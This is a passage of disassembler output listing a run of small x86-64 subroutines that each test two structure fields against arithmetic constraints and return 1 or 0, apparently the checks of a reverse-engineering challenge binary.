.text:0000000000402D75 mov edx, eax
.text:0000000000402D77 mov rax, [rbp+var_10]
.text:0000000000402D7B movzx eax, byte ptr [rax+0C8h]
.text:0000000000402D82 sub edx, eax
.text:0000000000402D84 mov eax, edx
.text:0000000000402D86 cmp al, 0C9h
.text:0000000000402D88 jnz short loc_402D91
.text:0000000000402D8A mov eax, 1
.text:0000000000402D8F jmp short loc_402D96
.text:0000000000402D91 ; ---------------------------------------------------------------------------
.text:0000000000402D91
.text:0000000000402D91 loc_402D91: ; CODE XREF: sub_402D3B+2D↑j
.text:0000000000402D91 ; sub_402D3B+4D↑j
.text:0000000000402D91 mov eax, 0
.text:0000000000402D96
.text:0000000000402D96 loc_402D96: ; CODE XREF: sub_402D3B+54↑j
.text:0000000000402D96 pop rbp
.text:0000000000402D97 retn
.text:0000000000402D97 ; } // starts at 402D3B
.text:0000000000402D97 sub_402D3B endp
.text:0000000000402D97
.text:0000000000402D98
.text:0000000000402D98 ; =============== S U B R O U T I N E =======================================
.text:0000000000402D98
.text:0000000000402D98 ; Attributes: bp-based frame
.text:0000000000402D98
.text:0000000000402D98 sub_402D98 proc near ; CODE XREF: sub_4036FC+100A↓p
.text:0000000000402D98
.text:0000000000402D98 var_10 = qword ptr -10h
.text:0000000000402D98 var_8 = qword ptr -8
.text:0000000000402D98
.text:0000000000402D98 ; __unwind {
.text:0000000000402D98 push rbp
.text:0000000000402D99 mov rbp, rsp
.text:0000000000402D9C mov [rbp+var_8], rdi
.text:0000000000402DA0 mov [rbp+var_10], rsi
.text:0000000000402DA4 mov rax, [rbp+var_8]
.text:0000000000402DA8 movzx eax, byte ptr [rax+0C8h]
.text:0000000000402DAF mov edx, eax
.text:0000000000402DB1 mov rax, [rbp+var_10]
.text:0000000000402DB5 movzx eax, byte ptr [rax+0C9h]
.text:0000000000402DBC sub edx, eax
.text:0000000000402DBE mov eax, edx
.text:0000000000402DC0 cmp al, 0F6h
.text:0000000000402DC2 jnz short loc_402DEE
.text:0000000000402DC4 mov rax, [rbp+var_8]
.text:0000000000402DC8 movzx eax, byte ptr [rax+0C8h]
.text:0000000000402DCF mov ecx, eax
.text:0000000000402DD1 mov rax, [rbp+var_10]
.text:0000000000402DD5 movzx eax, byte ptr [rax+0C9h]
.text:0000000000402DDC mov edx, eax
.text:0000000000402DDE mov eax, ecx
.text:0000000000402DE0 imul eax, edx
.text:0000000000402DE3 cmp al, 0CBh
.text:0000000000402DE5 jnz short loc_402DEE
.text:0000000000402DE7 mov eax, 1
.text:0000000000402DEC jmp short loc_402DF3
.text:0000000000402DEE ; ---------------------------------------------------------------------------
.text:0000000000402DEE
.text:0000000000402DEE loc_402DEE: ; CODE XREF: sub_402D98+2A↑j
.text:0000000000402DEE ; sub_402D98+4D↑j
.text:0000000000402DEE mov eax, 0
.text:0000000000402DF3
.text:0000000000402DF3 loc_402DF3: ; CODE XREF: sub_402D98+54↑j
.text:0000000000402DF3 pop rbp
.text:0000000000402DF4 retn
.text:0000000000402DF4 ; } // starts at 402D98
.text:0000000000402DF4 sub_402D98 endp
.text:0000000000402DF4
.text:0000000000402DF5
.text:0000000000402DF5 ; =============== S U B R O U T I N E =======================================
.text:0000000000402DF5
.text:0000000000402DF5 ; Attributes: bp-based frame
.text:0000000000402DF5
.text:0000000000402DF5 sub_402DF5 proc near ; CODE XREF: sub_4036FC+1029↓p
.text:0000000000402DF5
.text:0000000000402DF5 var_10 = qword ptr -10h
.text:0000000000402DF5 var_8 = qword ptr -8
.text:0000000000402DF5
.text:0000000000402DF5 ; __unwind {
.text:0000000000402DF5 push rbp
.text:0000000000402DF6 mov rbp, rsp
.text:0000000000402DF9 mov [rbp+var_8], rdi
.text:0000000000402DFD mov [rbp+var_10], rsi
.text:0000000000402E01 mov rax, [rbp+var_8]
.text:0000000000402E05 movzx eax, word ptr [rax+0D2h]
.text:0000000000402E0C mov edx, eax
.text:0000000000402E0E mov rax, [rbp+var_10]
.text:0000000000402E12 movzx eax, word ptr [rax+0E2h]
.text:0000000000402E19 sub edx, eax
.text:0000000000402E1B mov eax, edx
.text:0000000000402E1D cmp ax, 500h
.text:0000000000402E21 jnz short loc_402E4A
.text:0000000000402E23 mov rax, [rbp+var_8]
.text:0000000000402E27 movzx eax, word ptr [rax+0D2h]
.text:0000000000402E2E mov edx, eax
.text:0000000000402E30 mov rax, [rbp+var_10]
.text:0000000000402E34 movzx eax, word ptr [rax+0E2h]
.text:0000000000402E3B add eax, edx
.text:0000000000402E3D cmp ax, 0E9DEh
.text:0000000000402E41 jnz short loc_402E4A
.text:0000000000402E43 mov eax, 1
.text:0000000000402E48 jmp short loc_402E4F
.text:0000000000402E4A ; ---------------------------------------------------------------------------
.text:0000000000402E4A
.text:0000000000402E4A loc_402E4A: ; CODE XREF: sub_402DF5+2C↑j
.text:0000000000402E4A ; sub_402DF5+4C↑j
.text:0000000000402E4A mov eax, 0
.text:0000000000402E4F
.text:0000000000402E4F loc_402E4F: ; CODE XREF: sub_402DF5+53↑j
.text:0000000000402E4F pop rbp
.text:0000000000402E50 retn
.text:0000000000402E50 ; } // starts at 402DF5
.text:0000000000402E50 sub_402DF5 endp
.text:0000000000402E50
.text:0000000000402E51
.text:0000000000402E51 ; =============== S U B R O U T I N E =======================================
.text:0000000000402E51
.text:0000000000402E51 ; Attributes: bp-based frame
.text:0000000000402E51
.text:0000000000402E51 sub_402E51 proc near ; CODE XREF: sub_4036FC+1048↓p
.text:0000000000402E51
.text:0000000000402E51 var_10 = qword ptr -10h
.text:0000000000402E51 var_8 = qword ptr -8
.text:0000000000402E51
.text:0000000000402E51 ; __unwind {
.text:0000000000402E51 push rbp
.text:0000000000402E52 mov rbp, rsp
.text:0000000000402E55 mov [rbp+var_8], rdi
.text:0000000000402E59 mov [rbp+var_10], rsi
.text:0000000000402E5D mov rax, [rbp+var_8]
.text:0000000000402E61 movzx eax, byte ptr [rax+0D4h]
.text:0000000000402E68 mov edx, eax
.text:0000000000402E6A mov rax, [rbp+var_10]
.text:0000000000402E6E movzx eax, byte ptr [rax+0DCh]
.text:0000000000402E75 sub edx, eax
.text:0000000000402E77 mov eax, edx
.text:0000000000402E79 cmp al, 0B9h
.text:0000000000402E7B jnz short loc_402EA7
.text:0000000000402E7D mov rax, [rbp+var_8]
.text:0000000000402E81 movzx eax, byte ptr [rax+0D4h]
.text:0000000000402E88 mov ecx, eax
.text:0000000000402E8A mov rax, [rbp+var_10]
.text:0000000000402E8E movzx eax, byte ptr [rax+0DCh]
.text:0000000000402E95 mov edx, eax
.text:0000000000402E97 mov eax, ecx
.text:0000000000402E99 imul eax, edx
.text:0000000000402E9C cmp al, 0C4h
.text:0000000000402E9E jnz short loc_402EA7
.text:0000000000402EA0 mov eax, 1
.text:0000000000402EA5 jmp short loc_402EAC
.text:0000000000402EA7 ; ---------------------------------------------------------------------------
.text:0000000000402EA7
.text:0000000000402EA7 loc_402EA7: ; CODE XREF: sub_402E51+2A↑j
.text:0000000000402EA7 ; sub_402E51+4D↑j
.text:0000000000402EA7 mov eax, 0
.text:0000000000402EAC
.text:0000000000402EAC loc_402EAC: ; CODE XREF: sub_402E51+54↑j
.text:0000000000402EAC pop rbp
.text:0000000000402EAD retn
.text:0000000000402EAD ; } // starts at 402E51
.text:0000000000402EAD sub_402E51 endp
.text:0000000000402EAD
.text:0000000000402EAE
.text:0000000000402EAE ; =============== S U B R O U T I N E =======================================
.text:0000000000402EAE
.text:0000000000402EAE ; Attributes: bp-based frame
.text:0000000000402EAE
.text:0000000000402EAE sub_402EAE proc near ; CODE XREF: sub_4036FC+1067↓p
.text:0000000000402EAE
.text:0000000000402EAE var_10 = qword ptr -10h
.text:0000000000402EAE var_8 = qword ptr -8
.text:0000000000402EAE
.text:0000000000402EAE ; __unwind {
.text:0000000000402EAE push rbp
.text:0000000000402EAF mov rbp, rsp
.text:0000000000402EB2 mov [rbp+var_8], rdi
.text:0000000000402EB6 mov [rbp+var_10], rsi
.text:0000000000402EBA mov rax, [rbp+var_8]
.text:0000000000402EBE movzx eax, word ptr [rax+0D6h]
.text:0000000000402EC5 mov edx, eax
.text:0000000000402EC7 mov rax, [rbp+var_10]
.text:0000000000402ECB movzx eax, word ptr [rax+0E0h]
.text:0000000000402ED2 sub edx, eax
.text:0000000000402ED4 mov eax, edx
.text:0000000000402ED6 cmp ax, 4F5h
.text:0000000000402EDA jnz short loc_402F04
.text:0000000000402EDC mov rax, [rbp+var_8]
.text:0000000000402EE0 movzx eax, word ptr [rax+0D6h]
.text:0000000000402EE7 mov edx, eax
.text:0000000000402EE9 mov rax, [rbp+var_10]
.text:0000000000402EED movzx eax, word ptr [rax+0E0h]
.text:0000000000402EF4 imul eax, edx
.text:0000000000402EF7 cmp ax, 0DABAh
.text:0000000000402EFB jnz short loc_402F04
.text:0000000000402EFD mov eax, 1
.text:0000000000402F02 jmp short loc_402F09
.text:0000000000402F04 ; ---------------------------------------------------------------------------
.text:0000000000402F04
.text:0000000000402F04 loc_402F04: ; CODE XREF: sub_402EAE+2C↑j
.text:0000000000402F04 ; sub_402EAE+4D↑j
.text:0000000000402F04 mov eax, 0
.text:0000000000402F09
.text:0000000000402F09 loc_402F09: ; CODE XREF: sub_402EAE+54↑j
.text:0000000000402F09 pop rbp
.text:0000000000402F0A retn
.text:0000000000402F0A ; } // starts at 402EAE
.text:0000000000402F0A sub_402EAE endp
.text:0000000000402F0A
.text:0000000000402F0B
.text:0000000000402F0B ; =============== S U B R O U T I N E =======================================
.text:0000000000402F0B
.text:0000000000402F0B ; Attributes: bp-based frame
.text:0000000000402F0B
.text:0000000000402F0B sub_402F0B proc near ; CODE XREF: sub_4036FC+1086↓p
.text:0000000000402F0B
.text:0000000000402F0B var_10 = qword ptr -10h
.text:0000000000402F0B var_8 = qword ptr -8
.text:0000000000402F0B
.text:0000000000402F0B ; __unwind {
.text:0000000000402F0B push rbp
.text:0000000000402F0C mov rbp, rsp
.text:0000000000402F0F mov [rbp+var_8], rdi
.text:0000000000402F13 mov [rbp+var_10], rsi
.text:0000000000402F17 mov rax, [rbp+var_8]
.text:0000000000402F1B movzx eax, word ptr [rax+0D6h]
.text:0000000000402F22 mov edx, eax
.text:0000000000402F24 mov rax, [rbp+var_10]
.text:0000000000402F28 movzx eax, word ptr [rax+0E4h]
.text:0000000000402F2F add eax, edx
.text:0000000000402F31 cmp ax, 0D6D6h
.text:0000000000402F35 jnz short loc_402F60
.text:0000000000402F37 mov rax, [rbp+var_8]
.text:0000000000402F3B movzx eax, word ptr [rax+0D6h]
.text:0000000000402F42 mov edx, eax
.text:0000000000402F44 mov rax, [rbp+var_10]
.text:0000000000402F48 movzx eax, word ptr [rax+0E4h]
.text:0000000000402F4F sub edx, eax
.text:0000000000402F51 mov eax, edx
.text:0000000000402F53 cmp ax, 13EEh
.text:0000000000402F57 jnz short loc_402F60
.text:0000000000402F59 mov eax, 1
.text:0000000000402F5E jmp short loc_402F65
.text:0000000000402F60 ; ---------------------------------------------------------------------------
.text:0000000000402F60
.text:0000000000402F60 loc_402F60: ; CODE XREF: sub_402F0B+2A↑j
.text:0000000000402F60 ; sub_402F0B+4C↑j
.text:0000000000402F60 mov eax, 0
.text:0000000000402F65
.text:0000000000402F65 loc_402F65: ; CODE XREF: sub_402F0B+53↑j
.text:0000000000402F65 pop rbp
.text:0000000000402F66 retn
.text:0000000000402F66 ; } // starts at 402F0B
.text:0000000000402F66 sub_402F0B endp
.text:0000000000402F66
.text:0000000000402F67
.text:0000000000402F67 ; =============== S U B R O U T I N E =======================================
.text:0000000000402F67
.text:0000000000402F67 ; Attributes: bp-based frame
.text:0000000000402F67
.text:0000000000402F67 sub_402F67 proc near ; CODE XREF: sub_4036FC+10A5↓p
.text:0000000000402F67
.text:0000000000402F67 var_10 = qword ptr -10h
.text:0000000000402F67 var_8 = qword ptr -8
.text:0000000000402F67
.text:0000000000402F67 ; __unwind {
.text:0000000000402F67 push rbp
.text:0000000000402F68 mov rbp, rsp
.text:0000000000402F6B mov [rbp+var_8], rdi
.text:0000000000402F6F mov [rbp+var_10], rsi
.text:0000000000402F73 mov rax, [rbp+var_8]
.text:0000000000402F77 movzx eax, byte ptr [rax+0CBh]
.text:0000000000402F7E mov edx, eax
.text:0000000000402F80 mov rax, [rbp+var_10]
.text:0000000000402F84 movzx eax, byte ptr [rax+0E4h]
.text:0000000000402F8B sub edx, eax
.text:0000000000402F8D mov eax, edx
.text:0000000000402F8F cmp al, 0B8h
.text:0000000000402F91 jnz short loc_402FB8
.text:0000000000402F93 mov rax, [rbp+var_8]
.text:0000000000402F97 movzx eax, byte ptr [rax+0CBh]
.text:0000000000402F9E mov edx, eax
.text:0000000000402FA0 mov rax, [rbp+var_10]
.text:0000000000402FA4 movzx eax, byte ptr [rax+0E4h]
.text:0000000000402FAB add eax, edx
.text:0000000000402FAD cmp al, 0A0h
.text:0000000000402FAF jnz short loc_402FB8
.text:0000000000402FB1 mov eax, 1
.text:0000000000402FB6 jmp short loc_402FBD
.text:0000000000402FB8 ; ---------------------------------------------------------------------------
.text:0000000000402FB8
.text:0000000000402FB8 loc_402FB8: ; CODE XREF: sub_402F67+2A↑j
.text:0000000000402FB8 ; sub_402F67+48↑j
.text:0000000000402FB8 mov eax, 0
.text:0000000000402FBD
.text:0000000000402FBD loc_402FBD: ; CODE XREF: sub_402F67+4F↑j
.text:0000000000402FBD pop rbp
.text:0000000000402FBE retn
.text:0000000000402FBE ; } // starts at 402F67
.text:0000000000402FBE sub_402F67 endp
.text:0000000000402FBE
.text:0000000000402FBF
.text:0000000000402FBF ; =============== S U B R O U T I N E =======================================
.text:0000000000402FBF
.text:0000000000402FBF ; Attributes: bp-based frame
.text:0000000000402FBF
.text:0000000000402FBF sub_402FBF proc near ; CODE XREF: sub_4036FC+10C4↓p
.text:0000000000402FBF
.text:0000000000402FBF var_10 = qword ptr -10h
.text:0000000000402FBF var_8 = qword ptr -8
.text:0000000000402FBF
.text:0000000000402FBF ; __unwind {
.text:0000000000402FBF push rbp
.text:0000000000402FC0 mov rbp, rsp
.text:0000000000402FC3 mov [rbp+var_8], rdi
.text:0000000000402FC7 mov [rbp+var_10], rsi
.text:0000000000402FCB mov rax, [rbp+var_8]
.text:0000000000402FCF movzx eax, byte ptr [rax+0D5h]
.text:0000000000402FD6 mov edx, eax
.text:0000000000402FD8 mov rax, [rbp+var_10]
.text:0000000000402FDC movzx eax, byte ptr [rax+0E5h]
.text:0000000000402FE3 add eax, edx
.text:0000000000402FE5 cmp al, 81h
.text:0000000000402FE7 jnz short loc_403013
.text:0000000000402FE9 mov rax, [rbp+var_8]
.text:0000000000402FED movzx eax, byte ptr [rax+0D5h]
.text:0000000000402FF4 mov ecx, eax
.text:0000000000402FF6 mov rax, [rbp+var_10]
.text:0000000000402FFA movzx eax, byte ptr [rax+0E5h]
.text:0000000000403001 mov edx, eax
.text:0000000000403003 mov eax, ecx
.text:0000000000403005 imul eax, edx
.text:0000000000403008 cmp al, 20h
.text:000000000040300A jnz short loc_403013
.text:000000000040300C mov eax, 1
.text:0000000000403011 jmp short loc_403018
.text:0000000000403013 ; ---------------------------------------------------------------------------
.text:0000000000403013
.text:0000000000403013 loc_403013: ; CODE XREF: sub_402FBF+28↑j
.text:0000000000403013 ; sub_402FBF+4B↑j
.text:0000000000403013 mov eax, 0
.text:0000000000403018
.text:0000000000403018 loc_403018: ; CODE XREF: sub_402FBF+52↑j
.text:0000000000403018 pop rbp
.text:0000000000403019 retn
.text:0000000000403019 ; } // starts at 402FBF
.text:0000000000403019 sub_402FBF endp
.text:0000000000403019
.text:000000000040301A
.text:000000000040301A ; =============== S U B R O U T I N E =======================================
.text:000000000040301A
.text:000000000040301A ; Attributes: bp-based frame
.text:000000000040301A
.text:000000000040301A sub_40301A proc near ; CODE XREF: sub_4036FC+10E3↓p
.text:000000000040301A
.text:000000000040301A var_10 = qword ptr -10h
.text:000000000040301A var_8 = qword ptr -8
.text:000000000040301A
.text:000000000040301A ; __unwind {
.text:000000000040301A push rbp
.text:000000000040301B mov rbp, rsp
.text:000000000040301E mov [rbp+var_8], rdi
.text:0000000000403022 mov [rbp+var_10], rsi
.text:0000000000403026 mov rax, [rbp+var_8]
.text:000000000040302A movzx eax, word ptr [rax+0D8h]
.text:0000000000403031 mov edx, eax
.text:0000000000403033 mov rax, [rbp+var_10]
.text:0000000000403037 movzx eax, word ptr [rax+0DEh]
.text:000000000040303E imul eax, edx
.text:0000000000403041 cmp ax, 0A280h
.text:0000000000403045 jnz short loc_40306E
.text:0000000000403047 mov rax, [rbp+var_8]
.text:000000000040304B movzx eax, word ptr [rax+0D8h]
.text:0000000000403052 mov edx, eax
.text:0000000000403054 mov rax, [rbp+var_10]
.text:0000000000403058 movzx eax, word ptr [rax+0DEh]
.text:000000000040305F add eax, edx
.text:0000000000403061 cmp ax, 8994h
.text:0000000000403065 jnz short loc_40306E
.text:0000000000403067 mov eax, 1
.text:000000000040306C jmp short loc_403073
.text:000000000040306E ; ---------------------------------------------------------------------------
.text:000000000040306E
.text:000000000040306E loc_40306E: ; CODE XREF: sub_40301A+2B↑j
.text:000000000040306E ; sub_40301A+4B↑j
.text:000000000040306E mov eax, 0
.text:0000000000403073
.text:0000000000403073 loc_403073: ; CODE XREF: sub_40301A+52↑j
.text:0000000000403073 pop rbp
.text:0000000000403074 retn
.text:0000000000403074 ; } // starts at 40301A
.text:0000000000403074 sub_40301A endp
.text:0000000000403074
.text:0000000000403075
.text:0000000000403075 ; =============== S U B R O U T I N E =======================================
.text:0000000000403075
.text:0000000000403075 ; Attributes: bp-based frame
.text:0000000000403075
.text:0000000000403075 sub_403075 proc near ; CODE XREF: sub_4036FC+1102↓p
.text:0000000000403075
.text:0000000000403075 var_10 = qword ptr -10h
.text:0000000000403075 var_8 = qword ptr -8
.text:0000000000403075
.text:0000000000403075 ; __unwind {
.text:0000000000403075 push rbp
.text:0000000000403076 mov rbp, rsp
.text:0000000000403079 mov [rbp+var_8], rdi
.text:000000000040307D mov [rbp+var_10], rsi
.text:0000000000403081 mov rax, [rbp+var_8]
.text:0000000000403085 movzx eax, word ptr [rax+0D8h]
.text:000000000040308C mov edx, eax
.text:000000000040308E mov rax, [rbp+var_10]
.text:0000000000403092 movzx eax, word ptr [rax+0E2h]
.text:0000000000403099 add eax, edx
.text:000000000040309B cmp ax, 92E3h
.text:000000000040309F jnz short loc_4030CA
.text:00000000004030A1 mov rax, [rbp+var_8]
.text:00000000004030A5 movzx eax, word ptr [rax+0D8h]
.text:00000000004030AC cwde
.text:00000000004030AD mov rdx, [rbp+var_10]
.text:00000000004030B1 movzx edx, word ptr [rdx+0E2h]
.text:00000000004030B8 movsx ecx, dx
.text:00000000004030BB cdq
.text:00000000004030BC idiv ecx
.text:00000000004030BE test ax, ax
.text:00000000004030C1 jnz short loc_4030CA
.text:00000000004030C3 mov eax, 1
.text:00000000004030C8 jmp short loc_4030CF
.text:00000000004030CA ; ---------------------------------------------------------------------------
.text:00000000004030CA
.text:00000000004030CA loc_4030CA: ; CODE XREF: sub_403075+2A↑j
.text:00000000004030CA ; sub_403075+4C↑j
.text:00000000004030CA mov eax, 0
.text:00000000004030CF
.text:00000000004030CF loc_4030CF: ; CODE XREF: sub_403075+53↑j
.text:00000000004030CF pop rbp
.text:00000000004030D0 retn
.text:00000000004030D0 ; } // starts at 403075
.text:00000000004030D0 sub_403075 endp
.text:00000000004030D0
.text:00000000004030D1
.text:00000000004030D1 ; =============== S U B R O U T I N E =======================================
.text:00000000004030D1
.text:00000000004030D1 ; Attributes: bp-based frame
.text:00000000004030D1
.text:00000000004030D1 sub_4030D1 proc near ; CODE XREF: sub_4036FC+1121↓p
.text:00000000004030D1
.text:00000000004030D1 var_10 = qword ptr -10h
.text:00000000004030D1 var_8 = qword ptr -8
.text:00000000004030D1
.text:00000000004030D1 ; __unwind {
.text:00000000004030D1 push rbp
.text:00000000004030D2 mov rbp, rsp
.text:00000000004030D5 mov [rbp+var_8], rdi
.text:00000000004030D9 mov [rbp+var_10], rsi
.text:00000000004030DD mov rax, [rbp+var_8]
.text:00000000004030E1 movss xmm1, dword ptr [rax+0DEh]
.text:00000000004030E9 mov rax, [rbp+var_10]
.text:00000000004030ED movss xmm0, dword ptr [rax+0EAh]
.text:00000000004030F5 addss xmm0, xmm1
.text:00000000004030F9 ucomiss xmm0, cs:dword_404C94
.text:0000000000403100 jp short loc_403140
.text:0000000000403102 ucomiss xmm0, cs:dword_404C94
.text:0000000000403109 jnz short loc_403140
.text:000000000040310B mov rax, [rbp+var_8]
.text:000000000040310F movss xmm0, dword ptr [rax+0DEh]
.text:0000000000403117 mov rax, [rbp+var_10]
.text:000000000040311B movss xmm1, dword ptr [rax+0EAh]
.text:0000000000403123 divss xmm0, xmm1
.text:0000000000403127 ucomiss xmm0, cs:dword_404C98
.text:000000000040312E jp short loc_403140
.text:0000000000403130 ucomiss xmm0, cs:dword_404C98
.text:0000000000403137 jnz short loc_403140
.text:0000000000403139 mov eax, 1
.text:000000000040313E jmp short loc_403145
.text:0000000000403140 ; ---------------------------------------------------------------------------
.text:0000000000403140
.text:0000000000403140 loc_403140: ; CODE XREF: sub_4030D1+2F↑j
.text:0000000000403140 ; sub_4030D1+38↑j ...
.text:0000000000403140 mov eax, 0
.text:0000000000403145
.text:0000000000403145 loc_403145: ; CODE XREF: sub_4030D1+6D↑j
.text:0000000000403145 pop rbp
.text:0000000000403146 retn
.text:0000000000403146 ; } // starts at 4030D1
.text:0000000000403146 sub_4030D1 endp
.text:0000000000403146
.text:0000000000403147
.text:0000000000403147 ; =============== S U B R O U T I N E =======================================
.text:0000000000403147
.text:0000000000403147 ; Attributes: bp-based frame
.text:0000000000403147
.text:0000000000403147 sub_403147 proc near ; CODE XREF: sub_4036FC+1140↓p
.text:0000000000403147
.text:0000000000403147 var_10 = qword ptr -10h
.text:0000000000403147 var_8 = qword ptr -8
.text:0000000000403147
.text:0000000000403147 ; __unwind {
.text:0000000000403147 push rbp
.text:0000000000403148 mov rbp, rsp
.text:000000000040314B mov [rbp+var_8], rdi
.text:000000000040314F mov [rbp+var_10], rsi
.text:0000000000403153 mov rax, [rbp+var_8]
.text:0000000000403157 movzx eax, word ptr [rax+0E6h]
.text:000000000040315E cwde
.text:000000000040315F mov rdx, [rbp+var_10]
.text:0000000000403163 movzx edx, word ptr [rdx+0EEh]
.text:000000000040316A movsx ecx, dx
.text:000000000040316D cdq
.text:000000000040316E idiv ecx
.text:0000000000403170 test ax, ax
.text:0000000000403173 jnz short loc_40319D
.text:0000000000403175 mov rax, [rbp+var_8]
.text:0000000000403179 movzx eax, word ptr [rax+0E6h]
.text:0000000000403180 mov edx, eax
.text:0000000000403182 mov rax, [rbp+var_10]
.text:0000000000403186 movzx eax, word ptr [rax+0EEh]
.text:000000000040318D imul eax, edx
.text:0000000000403190 cmp ax, 0AFC0h
.text:0000000000403194 jnz short loc_40319D
.text:0000000000403196 mov eax, 1
.text:000000000040319B jmp short loc_4031A2
.text:000000000040319D ; ---------------------------------------------------------------------------
.text:000000000040319D
.text:000000000040319D loc_40319D: ; CODE XREF: sub_403147+2C↑j
.text:000000000040319D ; sub_403147+4D↑j
.text:000000000040319D mov eax, 0
.text:00000000004031A2
.text:00000000004031A2 loc_4031A2: ; CODE XREF: sub_403147+54↑j
.text:00000000004031A2 pop rbp
.text:00000000004031A3 retn
.text:00000000004031A3 ; } // starts at 403147
.text:00000000004031A3 sub_403147 endp
.text:00000000004031A3
.text:00000000004031A4
.text:00000000004031A4 ; =============== S U B R O U T I N E =======================================
.text:00000000004031A4
.text:00000000004031A4 ; Attributes: bp-based frame
.text:00000000004031A4
.text:00000000004031A4 sub_4031A4 proc near ; CODE XREF: sub_4036FC+115F↓p
.text:00000000004031A4
.text:00000000004031A4 var_10 = qword ptr -10h
.text:00000000004031A4 var_8 = qword ptr -8
.text:00000000004031A4
.text:00000000004031A4 ; __unwind {
.text:00000000004031A4 push rbp
.text:00000000004031A5 mov rbp, rsp
.text:00000000004031A8 mov [rbp+var_8], rdi
.text:00000000004031AC mov [rbp+var_10], rsi
.text:00000000004031B0 mov rax, [rbp+var_8]
.text:00000000004031B4 movzx eax, byte ptr [rax+0E6h]
.text:00000000004031BB mov ecx, eax
.text:00000000004031BD mov rax, [rbp+var_10]
.text:00000000004031C1 movzx eax, byte ptr [rax+0C9h]
.text:00000000004031C8 mov edx, eax
.text:00000000004031CA mov eax, ecx
.text:00000000004031CC imul eax, edx
.text:00000000004031CF cmp al, 0B2h
.text:00000000004031D1 jnz short loc_4031FA
.text:00000000004031D3 mov rax, [rbp+var_8]
.text:00000000004031D7 movzx eax, byte ptr [rax+0E6h]
.text:00000000004031DE mov edx, eax
.text:00000000004031E0 mov rax, [rbp+var_10]
.text:00000000004031E4 movzx eax, byte ptr [rax+0C9h]
.text:00000000004031EB sub edx, eax
.text:00000000004031ED mov eax, edx
.text:00000000004031EF cmp al, 0FFh
.text:00000000004031F1 jnz short loc_4031FA
.text:00000000004031F3 mov eax, 1
.text:00000000004031F8 jmp short loc_4031FF
.text:00000000004031FA ; ---------------------------------------------------------------------------
.text:00000000004031FA
.text:00000000004031FA loc_4031FA: ; CODE XREF: sub_4031A4+2D↑j
.text:00000000004031FA ; sub_4031A4+4D↑j
.text:00000000004031FA mov eax, 0
.text:00000000004031FF
.text:00000000004031FF loc_4031FF: ; CODE XREF: sub_4031A4+54↑j
.text:00000000004031FF pop rbp
.text:0000000000403200 retn
.text:0000000000403200 ; } // starts at 4031A4
.text:0000000000403200 sub_4031A4 endp
.text:0000000000403200
.text:0000000000403201
.text:0000000000403201 ; =============== S U B R O U T I N E =======================================
.text:0000000000403201
.text:0000000000403201 ; Attributes: bp-based frame
.text:0000000000403201
.text:0000000000403201 sub_403201 proc near ; CODE XREF: sub_4036FC+117E↓p
.text:0000000000403201
.text:0000000000403201 var_10 = qword ptr -10h
.text:0000000000403201 var_8 = qword ptr -8
.text:0000000000403201
.text:0000000000403201 ; __unwind {
.text:0000000000403201 push rbp
.text:0000000000403202 mov rbp, rsp
.text:0000000000403205 mov [rbp+var_8], rdi
.text:0000000000403209 mov [rbp+var_10], rsi
.text:000000000040320D mov rax, [rbp+var_8]
.text:0000000000403211 movzx eax, byte ptr [rax+0E7h]
.text:0000000000403218 movsx eax, al
.text:000000000040321B mov rdx, [rbp+var_10]
.text:000000000040321F movzx edx, byte ptr [rdx+100h]
.text:0000000000403226 movsx ecx, dl
.text:0000000000403229 cdq
.text:000000000040322A idiv ecx
.text:000000000040322C cmp al, 1
.text:000000000040322E jnz short loc_403257
.text:0000000000403230 mov rax, [rbp+var_8]
.text:0000000000403234 movzx eax, byte ptr [rax+0E7h]
.text:000000000040323B mov edx, eax
.text:000000000040323D mov rax, [rbp+var_10]
.text:0000000000403241 movzx eax, byte ptr [rax+100h]
.text:0000000000403248 sub edx, eax
.text:000000000040324A mov eax, edx
.text:000000000040324C cmp al, 0Fh
.text:000000000040324E jnz short loc_403257
.text:0000000000403250 mov eax, 1
.text:0000000000403255 jmp short loc_40325C
.text:0000000000403257 ; ---------------------------------------------------------------------------
.text:0000000000403257
.text:0000000000403257 loc_403257: ; CODE XREF: sub_403201+2D↑j
.text:0000000000403257 ; sub_403201+4D↑j
.text:0000000000403257 mov eax, 0
.text:000000000040325C
.text:000000000040325C loc_40325C: ; CODE XREF: sub_403201+54↑j
.text:000000000040325C pop rbp
.text:000000000040325D retn
.text:000000000040325D ; } // starts at 403201
.text:000000000040325D sub_403201 endp
.text:000000000040325D
.text:000000000040325E
.text:000000000040325E ; =============== S U B R O U T I N E =======================================
.text:000000000040325E
.text:000000000040325E ; Attributes: bp-based frame
.text:000000000040325E
.text:000000000040325E sub_40325E proc near ; CODE XREF: sub_4036FC+119D↓p
.text:000000000040325E
.text:000000000040325E var_10 = qword ptr -10h
.text:000000000040325E var_8 = qword ptr -8
.text:000000000040325E
.text:000000000040325E ; __unwind {
.text:000000000040325E push rbp
.text:000000000040325F mov rbp, rsp
.text:0000000000403262 mov [rbp+var_8], rdi
.text:0000000000403266 mov [rbp+var_10], rsi
.text:000000000040326A mov rax, [rbp+var_8]
.text:000000000040326E movzx eax, byte ptr [rax+0F0h]
.text:0000000000403275 mov edx, eax
.text:0000000000403277 mov rax, [rbp+var_10]
.text:000000000040327B movzx eax, byte ptr [rax+0F6h]
.text:0000000000403282 add eax, edx
.text:0000000000403284 cmp al, 0D0h
.text:0000000000403286 jnz short loc_4032B2
.text:0000000000403288 mov rax, [rbp+var_8]
.text:000000000040328C movzx eax, byte ptr [rax+0F0h]
.text:0000000000403293 movsx eax, al
.text:0000000000403296 mov rdx, [rbp+var_10]
.text:000000000040329A movzx edx, byte ptr [rdx+0F6h]
.text:00000000004032A1 movsx ecx, dl
.text:00000000004032A4 cdq
.text:00000000004032A5 idiv ecx
.text:00000000004032A7 test al, al
.text:00000000004032A9 jnz short loc_4032B2
.text:00000000004032AB mov eax, 1
.text:00000000004032B0 jmp short loc_4032B7
.text:00000000004032B2 ; ---------------------------------------------------------------------------
.text:00000000004032B2
.text:00000000004032B2 loc_4032B2: ; CODE XREF: sub_40325E+28↑j
.text:00000000004032B2 ; sub_40325E+4B↑j
.text:00000000004032B2 mov eax, 0
.text:00000000004032B7
.text:00000000004032B7 loc_4032B7: ; CODE XREF: sub_40325E+52↑j
.text:00000000004032B7 pop rbp
.text:00000000004032B8 retn
.text:00000000004032B8 ; } // starts at 40325E
.text:00000000004032B8 sub_40325E endp
.text:00000000004032B8
.text:00000000004032B9
.text:00000000004032B9 ; =============== S U B R O U T I N E =======================================
.text:00000000004032B9
.text:00000000004032B9 ; Attributes: bp-based frame
.text:00000000004032B9
